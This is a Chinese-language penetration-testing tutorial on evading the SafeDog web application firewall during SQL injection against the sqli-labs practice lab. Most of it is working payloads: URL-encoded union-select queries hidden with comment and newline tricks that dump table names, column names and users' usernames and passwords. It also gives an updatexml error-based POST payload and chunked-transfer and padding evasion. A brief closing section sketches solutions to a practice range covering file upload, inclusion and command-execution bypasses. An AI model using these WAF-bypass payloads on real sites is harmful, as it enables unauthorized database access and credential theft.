--+爆字段，测试到and，table_name都没拦截http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name --+直到table_name后面加了个=http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name=%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name= --+那么开始fuzz测试爆破随便娶一个payload和注释符进行拼接，如下http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20table_name/*/***/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and table_name/*/***/="users" --+回车%0a的绕过方式http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and /*!-- /* table_name*/="users" --+爆数据，已知表名为users，字段为id,username,password，并设置每个字段的分隔符为-，separator '-'http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(id,username,password separator '-') from /*!-- /* users*/ --+这里使用的是sqli第12关有安全狗防火墙，数据包如下uname=123")%20and%20updatexml(0x3a,concat(0x3a,(select%20user()),0x3a),0x3a)#&passwd=123&submit=Submit进行分块传输（这里用到一个插件）联系作者即可获取（备注【分块插件】）编码请求体后注意最后两行需要空着，但凡少一行都会造成请求不成功少一行之后，响应失败脏数据构造大型数据包比如但是如果没有足够大的数据包，也是不能够进行绕过的，比如数据包中post无限制，get可能会进行限制hex编码这里没有复现案例，仅供参考前提：没有过滤掉0x例如select * from users where name="admin"总结通过本文的详细解析和实验，我们深入了解了SQL注入攻击的基本原理及其在实际应用中的变种和绕过技巧。在面对如安全狗这样的WAF防护时，攻击者并非束手无策，而是可以通过多种方式绕过检测规则，成功实施SQL注入攻击。本文首先通过基础的SQL注入测试，验证了安全狗WAF对“and 1=1”等简单SQL注入模式的识别能力。随后，通过拆分和注释符的使用，我们发现WAF可能是通过识别特定模式（如“and”后紧跟空格和字符）来拦截SQL注入的。基于此发现，我们进一步尝试利用注释符、换行符等技术手段绕过WAF的检测，成功实施了更复杂的SQL注入攻击，包括联合查询注入，获取数据库表名、列名以及具体数据等。通过本文的学习，我们不仅能够加深对SQL注入攻击的理解，还能够掌握一些实用的绕过WAF防护的技巧。然而，需要强调的是，这些技巧仅用于合法的安全测试和教育目的，任何未经授权的SQL注入攻击都是非法的，并可能带来严重的法律后果。因此，我们呼吁广大开发人员和安全从业者，应持续关注和提升Web应用的安全性，共同维护网络空间的安全与稳定。免责声明：本渗透教程仅供安全研究与教育目的使用。任何未经授权的网络活动均属非法。读者应确保拥有合法权限，并对自己的行为负责。教程内容不保证绝对安全或成功，使用风险自负。
靶机安装关注后回复【pte靶场】即可，有网安交流群，要进群的小伙伴后台加群即可vm启动后改静态ipservice network restart或者重启reboot第一题【sql注入】注意这个文件路径，待会要获取答案order by判断字段数量union判断，被过滤发现可以双写绕过空格被过滤使用/**/注释符替换空格，id=-1读取key第二题【文件上传】记下路径php3第三题【文件包含】第四题【命令执行】命令执行绕过可以用fufu大法查看源码第五题【日志分析】下载日志访问，爆破即可